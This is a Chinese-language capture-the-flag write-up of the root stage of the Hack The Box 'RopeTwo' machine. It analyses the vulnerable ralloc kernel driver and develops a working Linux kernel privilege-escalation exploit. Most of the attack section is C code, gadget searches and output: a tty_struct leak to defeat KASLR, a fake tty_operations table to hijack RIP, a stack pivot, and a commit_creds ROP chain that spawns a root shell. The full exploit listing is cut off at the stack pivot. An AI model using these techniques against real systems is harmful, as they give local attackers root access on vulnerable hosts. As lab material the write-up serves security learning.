DISTRIB_RELEASE=19.04
DISTRIB_CODENAME=disco
DISTRIB_DESCRIPTION="Ubuntu 19.04"
r4j@rope2:~$ uname -a
Linux rope2 5.0.0-38-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```

查看内核正在运行的保护，查看/proc/cpuinfo。对于每个处理器，都看到了flag smep，它代表[监督模式执行保护](https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention)。这意味着不能在内核中运行用户空间代码。相反，需要在漏洞开发利用过程中使用ROP来实现目标。

#### 本地配置

因为内核模块是特定于内核的，所以想在本地VM中创建相同的环境。要访问Linux主机，最简单的方法是使用QEMU。这篇[博文](https://www.nullbyte.cat/post/linux-kernel-exploit-development-environment/#environment-setup)详细介绍了这个过程，但是本篇文章使用ubuntu 19.04 vm虚拟机系统来调试。

#### 搭建VM

下载[Ubuntu 19.04的iso](http://old-releases.ubuntu.com/releases/disco/)，抓取了non-live的iso，并构建了一个新的VM。让它处于NAT模式，但添加了[端口转发](https://hitchhikingtheweb.wordpress.com/2014/09/02/portforwarding-with-vmware-player-and-nat/)，这样就可以SSH进入它, 也可以自己配置sshd来连接ssh。

安装好之后，虚拟机已经运行的内核:

``` bash
root@ubuntu:~# uname -a
Linux ubuntu 5.0.0-13-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```

如果没有的话，它可以通过apt获得，所以可以使用sudo apt install linux-image-5.0.0-38-generic进行安装。

 - 注意这里更新源要使用old-release的源，否则安装内核不成功，其他方法安装内核容易报错。

还需要调试symbols包，从[这里](http://launchpadlibrarian.net/454028472/linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb)获取并安装(花了一些时间):

``` bash
root@ubuntu:~# dpkg -i linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb
Selecting previously unselected package linux-image-unsigned-5.0.0-38-generic-dbgsym.
(Reading database ... 171311 files and directories currently installed.)
Preparing to unpack linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb ...
Unpacking linux-image-unsigned-5.0.0-38-generic-dbgsym (5.0.0-38.41) ...
Setting up linux-image-unsigned-5.0.0-38-generic-dbgsym (5.0.0-38.41) ...
```

要做的最后一件事是进入这个虚拟机的.vmx文件并添加:

``` bash
debugStub.listen.guest64 = "TRUE"
```

这会在主机127.0.0.1:8864上启动一个监听器，可以将gdb连接到这个监听器上。如果需要从另一个主机连接，可以添加第二行:

``` bash
debugStub.listen.guest64.remote = "TRUE"
```

如果有这一行，监听器将在0.0.0.0:8864上。

如果因为某些原因想改变端口，这样做(但将只使用默认端口):

``` bash
debugStub.port.guest64 = "8865"
```

#### 安装ralloc

将通过SSH或使用VMWare Tools将模块复制到VM中，以便在VM中共享一个文件夹。要加载模块，可以简单地使用insmod(插入模块):

``` bash
test@ubuntu:~/rope2$ sudo insmod ./ralloc.ko
[sudo] password for test:
```

现在它显示在lsmod(列表模块)中，并且创建了设备:

``` bash
test@ubuntu:~/rope2$ lsmod | grep ralloc
ralloc                 16384  0
test@ubuntu:~/rope2$ ls /dev/ralloc
/dev/ralloc
```

可以通过在/proc/modules中grepping找到它在内存中的地址:

``` bash
test@ubuntu:~/rope2$ sudo cat /proc/modules | grep ralloc
ralloc 16384 0 - Live 0xffffffffc0605000 (OE)
```

#### gdb

从PowerShell导入一个wsl bash shell:

``` bash
PS C:\Users\Administrator> bash
test@DESKTOP-9LSPC40:/mnt/c/Users/Administrator$
```

按照页面上的说明在这个环境中安装[GEF](https://github.com/hugsy/gef)(尝试过[Peda](https://github.com/longld/peda)，但它与内核调试不太匹配)。

当运行gdb时，需要将它指向正在调试的内核。因为已经安装了调试symbols，所以可以把内核从/usr/lib/debug/boot中取出:

``` bash
/usr/lib/debug/boot/vmlinux-5.0.0-38-generic
```

现在将在内核文件上启动gdb，并将目标设置为remote:

``` bash
root@DESKTOP-9LSPC40:~/rope2# gdb -q ./vmlinux-5.0.0-38-generic
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.2 using Python engine 3.8
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from ./vmlinux-5.0.0-38-generic...
gef➤  target remote:8864
Remote debugging using :8864
```

现在，要把ralloc文件添加到本地gdb实例中。这使gdb能够设置断点

``` bash
gef➤  add-symbol-file ralloc.ko 0xffffffffc0605000
add symbol table from file "ralloc.ko" at
        .text_addr = 0xffffffffc05fb000
Reading symbols from ralloc.ko...
(No debugging symbols found in ralloc.ko)
```

#### 静态分析

#### 通用结构

需要弄清楚这个模块做什么，所以将在Ghidra打开ralloc.ko。该模块导出了两个函数，rope2_init 和 rope2_exit:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb-rope2-getroot.jpg)

它们都非常简单，rope2_init调用misc_register, rope2_exit调用misc_dereregister来创建和删除设备。还有其他一些函数，但只有一个真正有趣，是rope2_ioctl。

#### IOCTL
#### 结构

这段代码有两个用于管理数据的结构体，所以花了一分钟阅读代码，看看这些结构是如何使用的，然后在Ghidra中创建它们。我第一个调用了ralloc_in，它被用来管理通过ioctl传递的数据被调用:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb-rope2-getroot1.jpg)

另一个命名为ralloc_array。这用于命名为buffers的全局变量，该变量最多可以容纳32 (0x20)个缓冲区。每个对象为缓冲区存储一个大小和一个地址:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb-rope2-getroot2.jpg)

#### rope2_ioctl

一旦将这些应用到代码中的变量上，就会得到非常清晰的结果。

``` bash
long rope2_ioctl(undefined8 fd,int ioctl_num)

{
  long addr;
  long user_input_;
  ulong id;
  long return;
  long in_GS_OFFSET;
  long user_input;
  ulong user_input.size;
  void *user_input.data;
  long _canary;
  long canary;
  void *__src;
  void *__dest;
  
  __fentry__();
  canary = *(long *)(in_GS_OFFSET + 0x28);
  mutex_lock(lock);
  _copy_from_user(&user_input,user_input_,0x18);
  if (ioctl_num == 0x1000) {
    if ((user_input.size < 0x401) && ((uint)user_input < 0x20)) {
      id = (ulong)(uint)user_input * 0x10;
      if (*(long *)(arr + id + 8) == 0) {
        addr = __kmalloc(user_input.size,0x6000c0);
        *(long *)(arr + id + 8) = addr;
        if (addr != 0) {
          *(ulong *)(arr + id) = user_input.size + 0x20;
          return = 0;
          goto LAB_00100104;
        }
      }
    }
  }
  else {
    if (ioctl_num == 0x1001) {
      if (((uint)user_input < 0x20) && (*(long *)(arr + (ulong)(uint)user_input * 0x10 + 8) != 0)) {
        kfree();
        *(undefined8 *)(arr + (ulong)(uint)user_input * 0x10 + 8) = 0;
        return = 0;
        goto LAB_00100104;
      }
    }
    else {
      if (ioctl_num == 0x1002) {
        if ((uint)user_input < 0x20) {
          if ((*(void **)(arr + (ulong)(uint)user_input * 0x10 + 8) != (void *)0x0) &&
             (__dest = *(void **)(arr + (ulong)(uint)user_input * 0x10 + 8), __src = user_input.data
             , (user_input.size & 0xffffffff) < *(ulong *)(arr + (ulong)(uint)user_input * 0x10) ||
               (user_input.size & 0xffffffff) == *(ulong *)(arr + (ulong)(uint)user_input * 0x10)))
          goto joined_r0x001001ec;
        }
      }
      else {
        if ((ioctl_num == 0x1003) && ((uint)user_input < 0x20)) {
          __src = *(void **)(arr + (ulong)(uint)user_input * 0x10 + 8);
          if ((__src != (void *)0x0) &&
             (__dest = user_input.data,
             (user_input.size & 0xffffffff) <= *(ulong *)(arr + (ulong)(uint)user_input * 0x10))) {
joined_r0x001001ec:
            if (((ulong)user_input.data & 0xffff000000000000) == 0) {
              memcpy(__dest,__src,user_input.size & 0xffffffff);
              return = 0;
              goto LAB_00100104;
            }
          }
        }
      }
    }
  }
  return = -1;
LAB_00100104:
  mutex_unlock(lock);
  if (canary == *(long *)(in_GS_OFFSET + 0x28)) {
    return return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

进一步优化后的代码：

``` bash
long rope2_ioctl(undefined8 fd,int ioctl_num,long input_struct)

{
  long _canary;
  void *__dest;
  void *__src;
  long addr;
  long user_input_;
  ulong id;
  long return;
  long in_GS_OFFSET;
  ralloc_in user_input;
  
  __fentry__();
  _canary = *(long *)(in_GS_OFFSET + 0x28);
  mutex_lock(lock);
  _copy_from_user(&user_input,user_input_,0x18);
                    /* ADD */
  if (ioctl_num == 0x1000) {
    id = (ulong)(uint)user_input.id;
    if ((user_input.size < 0x401) && ((uint)user_input.id < 0x20)) {
      if (buffers[id].address == 0) {
        addr = __kmalloc(user_input.size,0x6000c0);
        buffers[id].address = addr;
        if (addr != 0) {
          buffers[id].size = user_input.size + 0x20;
          return = 0;
        }
      }
    }
  }
  else {
                    /* Delete */
    if (ioctl_num == 0x1001) {
      if (((uint)user_input.id < 0x20) && (buffers[(uint)user_input.id].address != 0)) {
        kfree();
        buffers[(uint)user_input.id].address = 0;
        return = 0;
      }
    }
    else {
                    /* Write */
      if (ioctl_num == 0x1002) {
        if ((uint)user_input.id < 0x20) {
          if (((void *)buffers[(uint)user_input.id].address != (void *)0x0) &&
             (__dest = (void *)buffers[(uint)user_input.id].address, __src = user_input.data,
             (user_input.size & 0xffffffff) < buffers[(uint)user_input.id].size ||
             (user_input.size & 0xffffffff) == buffers[(uint)user_input.id].size))
          goto joined_r0x001001ec;
        }
      }
      else {
                    /* Read */
        if ((ioctl_num == 0x1003) && ((uint)user_input.id < 0x20)) {
          __src = (void *)buffers[(uint)user_input.id].address;
          if ((__src != (void *)0x0) &&
             (__dest = user_input.data,
             (user_input.size & 0xffffffff) <= buffers[(uint)user_input.id].size)) {
          }
        }
      }
      if (((ulong)user_input.data & 0xffff000000000000) == 0) {
        memcpy(__dest,__src,user_input.size & 0xffffffff);
        return = 0;
      } else {
        return = -1;
      }
    }
  }
  mutex_unlock(lock);
  if (_canary == *(long *)(in_GS_OFFSET + 0x28)) {
    return return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

基本上，在4个可能的输入代码上有一个switch语句来执行添加(0x1000)、删除(0x1001)、写入(0x1002)和读取(0x1003)。

漏洞在于如何添加新块。有一个检查来确保块不大于0x400，并且id小于32，然后将大小保存到比缓冲区大0x20字节的缓冲区列表中。这允许在缓冲区的末端之外进行读写操作。

#### 基本相互作用

开始写一个c程序，将与设备交互，包括一些帮助函数，以进行每个IOCTL调用:

``` bash
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

int fd;

struct user_data_struct {
    uint64_t id;
    uint64_t size;
    void* data;
} user_data;


long create_buf(uint64_t id, uint64_t size){
    user_data.id = id;
    user_data.size = size;
    return ioctl(fd, 0x1000, &user_data);
}

long delete_buf(uint64_t id) {
    user_data.id = id;
    return ioctl(fd, 0x1001, &user_data);
}


long write_buf(uint64_t id, uint64_t size, void *data){
    user_data.id = id;
    user_data.size = size;
    user_data.data = data;
    return ioctl(fd, 0x1002, &user_data);
}


long read_buf(uint64_t id, uint64_t size, void *data){
    user_data.id = id;
    user_data.size = size;
    user_data.data = data;
    return ioctl(fd, 0x1003, &user_data);
}
```

现在，将从一个简单的main开始，它打开设备，清除缓冲区，创建一个缓冲区，向它写入0x40字节的As，然后从它读取0x420字节:

``` bash
int main(int argc) {
    fd = open("/dev/ralloc", O_RDONLY);
    if(fd == -1) {
        fprintf(stderr, "Failed to open /dev/ralloc");
        return -1;
    }

    for(int i=0; i < 0x20; i++){
        delete_buf(i);
    }

    create_buf(1, 0x400);

    uint64_t *input = malloc(0x400);
    memset(input, 0x41, 0x40);
    write_buf(1, 0x40, input);

    uint64_t *output = malloc(0x420);
    read_buf(1, 0x420, output);

    for(int i=0; i < 0x420/8; i++){
        if (i % 4 == 0) {
            printf("\n%03x: ", i*8);
        }
        printf("%016lx ", output[i]);
    }
    printf("\n");
}
```

当运行这个，得到的结果匹配所期望的:

``` bash
test@ropetest:~$ ./exploit

000: 4141414141414141 4141414141414141 4141414141414141 4141414141414141 <-- 0x40 bytes of A
020: 4141414141414141 4141414141414141 4141414141414141 4141414141414141 
040: 6c732f6c656e7265 61686769732f6261 65686361635f646e 2f70756f7267632f <-- random stuff in 0x400 byte buffer
060: 5f646e6168676973 3039286568636163 6f69737365733a35 732e343939312d6e 
080: 5553002965706f63 3d4d455453595342 530070756f726763 39383d4d554e5145 
0a0: 5f43455355003632 494c414954494e49 313631313d44455a 3339353439323531 
0c0: ffff9880f48c0000 dead000000000100 dead000000000200 dead000000000100 
0e0: dead000000000200 dead000000000100 dead000000000200 dead000000000100 
100: dead000000000200 dead000000000100 dead000000000200 dead000000000100 
120: dead000000000200 dead000000000100 dead000000000200 dead000000000100 
140: dead000000000200 dead000000000100 dead000000000200 dead000000000100 
160: dead000000000200 dead000000000100 dead000000000200 dead000000000100 
180: dead000000000200 dead000000000100 dead000000000200 ffff9880f48c7598 
1a0: ffff9880f48c7598 0000000000000000 0000000000000000 0000000000000000 
1c0: 0000000000000000 ffff9880f48c75c8 ffff9880f48c75c8 ffff9880f48c75d8 
1e0: ffff9880f48c75d8 ffff9880f48c75e8 ffff9880f48c75e8 0000000000000000 
200: 0000000000000000 0000000000000000 0000000000000000 ffff987fa5bf3800 
220: 0000000000000218 0000000000000000 0000000000000000 0000000000000000 
240: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
260: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
280: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
2a0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
2c0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
2e0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
300: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
320: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
340: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
360: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
380: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
3a0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
3c0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
3e0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 
400: ffffffff960c4f20 ffffffff9655c3c0 ffffffff96067120 ffffffff96711080 <-- reading into next buffer
```

#### KASLR Defeat

#### 策略

利用内核堆的一种常用技术是找到tty_struct。可以稍后使用它来执行，但首先将使用它来泄漏一个地址，这个地址与内核基的常量偏移量相等。将使用/dev/ptmx创建它，这是一个[伪终端设备](https://linux.die.net/man/4/ptmx)。有很多文章展示了利用这一点的好例子，比如[这个](https://changochen.github.io/2018-02-07-sharif8.html)和[这个](https://hackmd.io/@ptr-yudai/rJp1TpbBU)。

其思想是，创建一个新的缓冲区，然后立即打开/dev/ptmx，它将为tty_struct分配一个0x2e0字节的内核缓冲区，希望紧接在缓冲区之后。因为可以读取0x20字节超出缓冲区的结束，希望将能够读取到结构，它有以下格式:

``` bash
struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	/* ...... */
}
```

目标是读取tty_operations指针，因为它指向ptm_unix98_ops，它与内核基的偏移量是恒定的。第一个尝试是使用TTY_MAGIC[定义为](https://docs.huihoo.com/doxygen/linux/kernel/3.7/include_2linux_2tty_8h_source.html)0x5401这一事实来检查是否设法读取正确的结构体。但是，内存中有多个tty_struct，当查看调试器时，它会发现其他的tty_struct不指向ptm_unix98_ops。

可以在gdb中查看ptm_unix98_ops的当前地址:

``` bash
gef➤  p &ptm_unix98_ops
$1 = (const struct tty_operations *) 0xffffffff820af6a0
<ptm_unix98_ops>
```

虽然顶部的地址会随着KASLR而改变，但底部的三颗不会改变。因此，将寻找magic和最后三个字节，期望tty_operations。

要找到从ptm_unix98_ops到内核基的偏移量，将查看/proc/kallsyms。

``` bash
root@ropetest:~# cat /proc/kallsyms | grep ' startup_64'
ffffffff94a00000 T startup_64
```

所以偏移量是:

``` bash
gef➤  p 0xffffffff95aaf6a0 - 0xffffffff94a00000
$1 = 0x10af6a0
```

#### 实现

下面的代码将清除所有缓冲区槽。然后，它将尝试最多32次来分配缓冲区，然后立即打开/dev/ptmx.然后，它将执行越界读取，查找tty_operations的magic和正确的低三个字节。在找到它时，它将中断并打印:

``` bash
int main(int argc) {
    int i;
    fd = open("/dev/ralloc", O_RDONLY);
    if(fd == -1) {
        fprintf(stderr, "Failed to open /dev/ralloc");
        return -1;
    }

    for(i=0; i < 0x20; i++){
        delete_buf(i);
    }

    uint64_t *output = malloc(0x420);
    for(i=0; i < 0x20; i++){
        create_buf(i, 0x400);
        int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

        read_buf(1, 0x420, output);
        if((output[0x400/8] & 0xffffffff) == 0x5401 &&
           (output[0x418/8] & 0xfff) == 0x6a0) {
            break;
        }
        printf("[-]Failed to find tty_struct, retrying [%02x]\n", i);
    }

    if (i == 0x20){
        printf("Failed to find tty_struct. Try again\n");
        exit(-1);
    }
    for(i=0x400/8; i < 0x420/8; i++){
        printf("0x%03x: %016lx\n", i*8, output[i]);
    }
}
```

有时它什么也找不到，但很多时候它能找到:

``` bash
r4j@rope2:~$ /tmp/n
[-]Failed to find tty_struct, retrying [00]
[-]Failed to find tty_struct, retrying [01]
[-]Failed to find tty_struct, retrying [02]
0x400: 0000000100005401 <-- magic
0x408: 0000000000000000
0x410: ffff9880ead25600
0x418: ffffffff95aaf6a0 <-- tty_operations
```

现在把它重构成一个循环，这样它就会继续尝试，如果它达到32，仍然没有找到它:

``` bash
int main(int argc) {

    int i, id;
    uint64_t *output = malloc(0x420);
    uint64_t kernel_base;

    fd = open("/dev/ralloc", O_RDONLY);
    if(fd == -1) {
        fprintf(stderr, "Failed to open /dev/ralloc");
        return -1;
    }

    kernel_base = 0;
    while(kernel_base == 0) {
        // Clear buffers
        for(i=0; i < 0x20; i++){
            delete_buf(i);
        }

        // Loop over buffers, create, open ptmx, check for tty_struct
        for(i=0; i < 0x20; i++){
            create_buf(i, 0x400);
            ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

            read_buf(i, 0x420, output);
            if((output[0x400/8] & 0xffffffff) == 0x5401 &&
               (output[0x418/8] & 0xfff) == 0x6a0) {
                break;
            }
            close(ptmx);
        }

        if (i == 0x20){
            printf("[-] Failed to find tty_struct. Try again.\n");
        } else {
            uint64_t ptm_unix98_ops = output[0x418/8];
            printf("[+] Identified ptm_unix98_ops address: %016lx\n", ptm_unix98_ops);
            kernel_base = ptm_unix98_ops - 0x10af6a0;
            printf("[+] Identified kernel base address:    %016lx\n", kernel_base);
            id = i;
        }
    }
}
```

有效:

``` bash
test@ropetest:~$ ./exploit
[-] Failed to find tty_struct. Try again.
[-] Failed to find tty_struct. Try again.
[+] Identified ptm_unix98_ops address: ffffffff95aaf6a0
[+] Identified kernel base address:    ffffffff94a00000
```

#### 控制RIP
#### 策略

既然能打败KASLR，就试着控制RIP。为了做到这一点，将继续滥用tty_struct，特别是用来获得泄漏的tty_operations结构体。这个结构体的[结构如下](https://github.com/torvalds/linux/blob/master/include/linux/tty_driver.h):

``` bash
struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
...[snip]...
```

它包含了一堆指向函数的指针，这些函数将被用于各种操作。因此，当设备句柄上调用close时，close操作在这个结构体中查找。因此，如果能控制这个，就能控制RIP。

#### 实现

现在可以控制一个指向tty_operations结构体的指针。将创建一个新的，然后用自己的指针覆盖那个指针。要担心的唯一函数是close()，因为将在插入伪tty_operations之后立即关闭TTY的句柄。

``` bash
uint64_t *fake_tty_ops = malloc(248);
fake_tty_ops[4] = 0xdfdfdfdfdfdfdfdf;
output[0x418/8] = (uint64_t)fake_tty_ops;
write_buf(id, 0x420, output);
close(ptmx);
```

因为RIP现在是0xdfdfdfdfdfdfdfdf，所以会导致系统崩溃。

#### ROP
#### 堆栈中枢

控制了RIP，需要运行一些东西。当想到一个典型的ROP时，栈上有一个被覆盖的返回地址，然后ROP可以在此之后继续。在这种情况下，覆盖是tty_operations结构体中的一个指针，所以不能一直写在那里，因为那不是堆栈。这就引出了[堆栈枢轴](https://failingsilently.wordpress.com/2018/04/17/what-is-a-stack-pivot/)的概念，即使用一个gadget将堆栈移动到已经或将要写入rop链攻击的新地址。可以将堆栈移动到控制的内存空间，并在那里建立一个ROP链。

因为在寻找贯穿整个内核的gadgets，所以会有很多。将使用ROPGadget将它们全部转储到一个文件中(这将花费一分钟)，然后可以从那里搜索它。

``` bash
root@kali# python3 /opt/ROPgadget/ROPgadget.py --binary vmlinux-5.0.0-38-generic > gadgets 
root@kali# wc -l gadgets 
811057 gadgets
```

可以在崩溃中看到对close()的覆盖在RIP和RAX中结束。因此，虽然很难在堆栈上得到一些东西，以弹出到RSP，一个xchg RSP, rax将把堆栈在一个知道的地址。而且由于代码在内核中运行，在更改权限和覆盖内容方面有相当大的灵活性。

使用grep寻找xchg与RSP和RAX没有找到任何东西。

``` bash
root@kali# grep -E -e 'xchg rsp, rax ; ret' -e 'xchg rax, rsp ; ret' gadgets
```

但是因为可以预测单词的前32位，EAX和ESP也可以，还有很多这样的单词:

``` bash
root@kali# grep -E -e ': xchg esp, eax ; ret' -e ': xchg eax, esp ; ret' gadgets | wc -l
228
```

因为将使它成为堆栈指针，所以需要gadgets的地址位于8位边界上。还很多:

``` bash
root@kali# grep -E -e ': xchg esp, eax ; ret' -e ': xchg eax, esp ; ret' gadgets | grep -E "^0x[0-9a-f]{15}[08]" | wc -l
38
root@kali# grep -E -e ': xchg esp, eax ; ret' -e ': xchg eax, esp ; ret' gadgets | grep -E "^0x[0-9a-f]{15}[08]" | head
0xffffffff81368c08 : xchg eax, esp ; ret 0
0xffffffff817fccd8 : xchg eax, esp ; ret 0x166
0xffffffff81610650 : xchg eax, esp ; ret 0x2241
0xffffffff81076088 : xchg eax, esp ; ret 0x35e9
0xffffffff81288d78 : xchg eax, esp ; ret 0x3948
0xffffffff8114bb88 : xchg eax, esp ; ret 0x394d
0xffffffff812f74c0 : xchg eax, esp ; ret 0x3d
0xffffffff828deb28 : xchg eax, esp ; ret 0x43
0xffffffff814afc90 : xchg eax, esp ; ret 0x69e9
0xffffffff8154b090 : xchg eax, esp ; ret 0x8148
```

将获取第一个，现在代码看起来像:

``` bash
// Stack Pivot
size_t xchg_esp_eax = 0x368c08 + kernel_base;
uint64_t *fake_tty_ops = malloc(248);
fake_tty_ops[4] = xchg_esp_eax;
output[0x83] = (uint64_t)fake_tty_ops;
write_buf(id, 0x420, output);
uint64_t new_stack = xchg_esp_eax & 0xffffffff;

// Set Permissions

// Offsets

// ROP

// trigger ROP
close(ptmx);
```

带有32位参数的xchg指令将0清除64位寄存器的其余部分。因此，新的堆栈不会在xchg指令的顶部，而是在相同的位置，但前32位为空。

#### 权限

在内核中，有很多控制权，但是内存需要同时是可写的和可执行的，所以将调用mmap。调用需要在页面边界上，因此将最后三个小块设置为0，并选择一个足够大的大小，以便ROP不担心空间问题。[文档](https://man7.org/linux/man-pages/man2/mmap.2.html)在这里显示了标记，将选择MAP_PRIVATE，因为希望这个更改只影响这个进程，MAP_ANONYMOUS，因为在这里使用shellcode, MAP_FIXED，因为希望强制地址。对于MAP_ANONYMOUS, fd参数应该是-1，并且没有偏移量:

``` bash
// Set Permissions
mmap((void *)(new_stack & 0xfffff000), 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);

// Offsets

// ROP

// trigger ROP
close(ptmx);
```

#### ROP

ROP本身将使用一种技术，将prepare_kernel_cred(0)传递给commit_creds，以将当前进程设置为root。然后返回到用户空间，使用swapgs生成shell，并使用shell生成函数。

将定义需要使用的偏移量(未显示)，然后转到ROP。首先，将返回(使用ret gadget开始ROP总是好的)，然后调用prepare_kernel_cred(0):

``` bash
// ROP
uint64_t *st_ptr = new_stack;
int st_idx = 0;
st_ptr[st_idx++] = ret;
st_ptr[st_idx++] = pop_rdi;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = prepare_kernel_cred;
```

返回时，结果将以RAX的形式出现，需要一种方法将其导入RDI。mov rdi, rdx gadget并不漂亮:

``` bash
root@kali# grep ': mov rdi, rax' gadgets | grep -v -e call -e 'jmp 0x'
0xffffffff8112e597 : mov rdi, rax ; cmp r8, rdx ; jne 0xffffffff8112e57c ; pop rbp ; ret
0xffffffff814ed7ea : mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff814ed7dd ; pop rbp ; ret
0xffffffff814ed84c : mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff814ed83d ; pop rbp ; ret
0xffffffff8102f7ff : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; pop rbp ; ret
0xffffffff828f29f4 : mov rdi, rax ; xor eax, eax ; rep movsb byte ptr [rdi], byte ptr [rsi] ; ret

root@kali# grep ': pop r8 ; ret' gadgets | head -1
0xffffffff814875b2 : pop r8 ; ret
root@kali# grep ': pop rdx ; ret' gadgets | head -1
0xffffffff8103bbc2 : pop rdx ; ret
```

看看列表中的第一个，只要R8等于RDX，它就会跳过跳转，弹出RBP，然后返回。可以做到:

``` bash
st_ptr[st_idx++] = pop_r8;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = pop_rdx;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = mov_rax_rdi_cmp_pop_rbp;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = commit_creds;
```

代码将把0放到R8和RDX中，然后调用gadget将返回值从RAX移动到RDI，然后是RBP pop的最后一个0。然后，RDI包含来自prepare_kernel_cred的返回值，它调用commit_creds。

现在，creds已经到位，需要代码来返回用户区。首先，swapgs将用它在用户空间中运行所需的值交换内核的GS基寄存器。有一个带有swapgs和pop rbp的gadget可以工作:

``` bash
st_ptr[st_idx++] = swapgs_pop_rbp;
st_ptr[st_idx++] = 0;
```

然后sysretq指令将返回到useland。这通常用于从[系统调用返回](http://www.ijack.org.uk/syscalls.html)。需要在RCX中设置返回地址，并在R11中设置标志。将写一个简短的函数，想跳转到作为root:

``` bash
void shell() {
    if(!getuid()) {
        system("/bin/sh");
    } else {
        puts("[-] Failed");
        exit(-1);
    }
}
```

R11中的内容似乎并不重要，所以将使用0。

``` bash
st_ptr[st_idx++] = pop_rcx;
st_ptr[st_idx++] = &shell;
st_ptr[st_idx++] = pop_r11;
st_ptr[st_idx++] = 0x0;
st_ptr[st_idx++] = sysretq;
```

#### 触发

现在剩下要做的就是通过关闭/dev/ptmx.的句柄来触发ROP这应该会导致在这个进程中运行/bin/sh，但如果失败，将打印一条消息并返回1:

``` bash
// trigger ROP
printf("[*] Triggering ROP\n");
close(ptmx);
printf("[-] Exploit failed.\n");
return 1;
```

#### shell

完整的exp源码在这里。对于所有的代码片段，将编译并上传到RopeTwo机器:

 - exploit.c

``` bash
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

int fd, ptmx;

struct user_data_struct {
    uint64_t id;
    uint64_t size;
    void* data;
} user_data;


long create_buf(uint64_t id, uint64_t size){
    user_data.id = id;
    user_data.size = size;
    return ioctl(fd, 0x1000, &user_data);
}

long delete_buf(uint64_t id) {
    user_data.id = id;
    return ioctl(fd, 0x1001, &user_data);
}


long write_buf(uint64_t id, uint64_t size, void *data){
    user_data.id = id;
    user_data.size = size;
    user_data.data = data;
    return ioctl(fd, 0x1002, &user_data);
}


long read_buf(uint64_t id, uint64_t size, void *data){
    user_data.id = id;
    user_data.size = size;
    user_data.data = data;
    return ioctl(fd, 0x1003, &user_data);
}


void shell() {
    if(!getuid()) {
        system("/bin/sh");
    } else {
        puts("[-] Failed");
        exit(-1);
    }
}


int main(int argc) {

    int i, id;
    int ptmx;
    uint64_t *output = malloc(0x420);
    uint64_t kernel_base;
    
    fd = open("/dev/ralloc", O_RDONLY);
    if(fd == -1) {
        fprintf(stderr, "Failed to open /dev/ralloc");
        return -1;
    }

    kernel_base = 0;
    while(kernel_base == 0) {
        // Clear buffers  
        for(i=0; i < 0x20; i++){
            delete_buf(i);
        }
        
        // Loop over buffers, create, open ptmx, check for tty_struct
        for(i=0; i < 0x20; i++){
            create_buf(i, 0x400); 
            ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

            read_buf(i, 0x420, output);
            if((output[0x80] & 0xffffffff) == 0x5401 &&
               (output[0x83] & 0xfff) == 0x6a0) {
                break;
            }
            close(ptmx); // close if not found
        }

        if (i == 0x20){
            printf("[-] Failed to find tty_struct. Try again.\n");
        } else {
            uint64_t ptm_unix98_ops = output[0x83];
            printf("[+] Identified ptm_unix98_ops address: %016lx\n", ptm_unix98_ops);
            kernel_base = ptm_unix98_ops - 0x10af6a0;
            printf("[+] Identified kernel base address:    %016lx\n", kernel_base);
            id = i;
        }
    }

    printf("[*] Using slot %i\n", id);

    // Stack Pivot
